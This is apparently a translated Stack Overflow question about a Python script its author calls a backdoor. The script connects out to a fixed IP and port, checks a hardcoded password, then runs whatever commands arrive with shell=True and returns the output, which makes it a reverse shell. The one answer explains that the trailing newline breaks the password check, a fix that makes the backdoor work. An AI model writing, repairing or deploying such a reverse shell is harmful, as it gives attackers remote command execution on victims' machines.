即使我的if语句为true,Python也会执行我的其他操作

时间:2013-06-29 00:22:54

标签: python if-statement subprocess

出于某种原因,它不会进入我的if语句。

当我通过netcat连接并输入密码时,即使我输入了正确的密码,也会跳到else语句。

#i/usr/bin/python

import subprocess,socket

HOST = '192.168.1.104'
PORT = 25565
passwd = "gareth"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))
s.send('Connection established\n')

s.send("Enter Password: ")
pw = s.recv(1023)
if pw == passwd:
    s.send("Gareth's backdoor\n")

else:
    s.send("Wrong password\n")
    s.close()

while 1:
    data = s.recv(1023)
    if data == "quit": break

    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

    stdoutput = proc.stdout.read() + proc.stderr.read()

    s.send(stdoutput)

# exit the loop
s.send('Bye now.')
s.close()

1 个答案:

答案 0 :(得分:0)

当您输入 gareth 新行时,看起来也是如此。因此,您需要在比较之前删除该尾部。